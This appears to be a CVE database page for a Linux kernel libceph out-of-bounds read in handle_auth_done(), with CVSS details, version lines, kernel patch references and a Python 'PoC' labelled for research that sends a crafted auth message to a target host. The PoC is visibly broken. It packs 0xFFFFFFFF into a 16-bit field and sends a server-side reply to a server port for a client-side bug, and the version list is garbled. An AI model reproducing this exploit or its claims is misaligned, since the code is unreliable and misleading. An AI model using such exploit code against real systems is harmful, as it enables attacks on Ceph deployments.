CVE-2026-22984

Description

In the Linux kernel, the following vulnerability has been resolved: libceph: prevent potential out-of-bounds reads in handle_auth_done() Perform an explicit bounds check on payload_len to avoid a possible out-of-bounds access in the callout. [ idryomov: changelog ]

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux kernel libceph < 5.15.x

Linux kernel libceph < 5.10.x

Linux kernel libceph < 5.4.x

Ceph存储集群客户端（使用libceph的所有版本）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2026-22984 PoC - libceph handle_auth_done() OOB Read
# This PoC demonstrates the vulnerability in libceph's payload_len handling

import struct
import socket

def create_malicious_auth_response(payload_len):
    """
    Create a malicious CEPH authentication response with oversized payload_len
    """
    # CEPH msg header structure
    msg_type = 0x100  # CEPH_MSG_AUTH
    front_len = 16    # Front section length
    
    # Malicious payload_len that exceeds bounds
    # This triggers the OOB read in handle_auth_done()
    middle_len = payload_len
    data_len = 0
    
    # Build CEPH msg header
    header = struct.pack('<HHQQQII',
        front_len,      # Front length
        middle_len,     # Middle length (malicious payload_len)
        0,              # Data length
        0,              # Seq
        0,              # Time stamp
        msg_type,       # Message type
        0               # Priority
    )
    
    # Malicious payload data
    payload = b'\x00' * middle_len if middle_len > 0 else b''
    
    return header + payload

def exploit_ceph_auth(target_ip, target_port=3300):
    """
    Send malicious authentication response to trigger OOB read
    """
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((target_ip, target_port))
        
        # Send malicious payload with oversized payload_len
        malicious_msg = create_malicious_auth_response(0xFFFFFFFF)
        sock.send(malicious_msg)
        
        print(f"[+] Malicious auth response sent to {target_ip}:{target_port}")
        print(f"[+] Payload length: 0xFFFFFFFF")
        print(f"[+] This should trigger OOB read in handle_auth_done()")
        
        sock.close()
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    print("CVE-2026-22984 - libceph handle_auth_done() OOB Read PoC")
    print("=" * 60)
    # Usage: python poc.py <target_ip>
    import sys
    if len(sys.argv) > 1:
        exploit_ceph_auth(sys.argv[1])
    else:
        print("Usage: python poc.py <target_ip>")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-22984
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-22984
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-22984/
[4] VulDB https://vuldb.com/cve/CVE-2026-22984
[5] https://git.kernel.org/stable/c/194cfe2af4d2a1de599d39dad636b47c2f6c2c96
[6] https://git.kernel.org/stable/c/2802ef3380fa8c4a08cda51ec1f085b1a712e9e2
[7] https://git.kernel.org/stable/c/2d653bb63d598ae4b096dd678744bdcc34ee89e8
[8] https://git.kernel.org/stable/c/79fe3511db416d2f2edcfd93569807cb02736e5e
[9] https://git.kernel.org/stable/c/818156caffbf55cb4d368f9c3cac64e458fb49c9
[10] https://git.kernel.org/stable/c/ef208ea331ef688729f64089b895ed1b49e842e3

Raw JSON Data

JSON

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